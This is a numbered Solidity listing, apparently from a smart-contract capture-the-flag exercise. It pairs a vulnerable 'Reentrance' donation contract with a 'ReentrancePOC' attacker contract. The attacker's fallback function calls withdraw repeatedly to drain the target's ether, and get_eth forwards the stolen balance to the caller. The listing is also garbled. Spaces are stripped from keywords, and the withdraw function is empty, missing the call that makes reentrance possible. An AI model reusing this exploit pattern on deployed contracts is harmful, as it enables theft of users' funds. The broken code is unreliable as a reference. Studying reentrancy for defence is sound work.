1. // SPDX-License-Identifier: MIT
    2. pragmasolidity^0.6.2;
    3. contract Reentrance {
    4. mapping(address => uint)public balances;
    5. function donate(address _to)publicpayable{
    6. balances[_to]= balances[_to]+(msg.value);
    7. }
    8. function balanceOf(address _who)publicviewreturns(uint balance){
    9. return balances[_who];
    10. }
    11. function withdraw(uint _amount)public{
    12. if(balances[msg.sender]>= _amount){
    13. }
    14. }
    15. receive()externalpayable{}
    16. }
    17. contract ReentrancePOC{
    18. Reentrance Rt;
    19. function get_eth() public{
    20. uint totalBalance =address(this).balance;
    21. (bool sent,)=msg.sender.call.value(totalBalance)("");
    22. }
    23. constructor(addresspayable _me)public{
    24. Rt=Reentrance(_me);
    25. }
    26. function donate01()publicpayable{
    27. Rt.donate.value(0.0001 ether)(address(this));
    28. }
    29. function poc()public{
    30. Rt.withdraw(0.0001 ether);
    31. }
    32. fallback()externalpayable{
    33. if(address(Rt).balance>=0.0001 ether){
    34. Rt.withdraw(0.0001 ether);
    35. }
    36. }
    37. }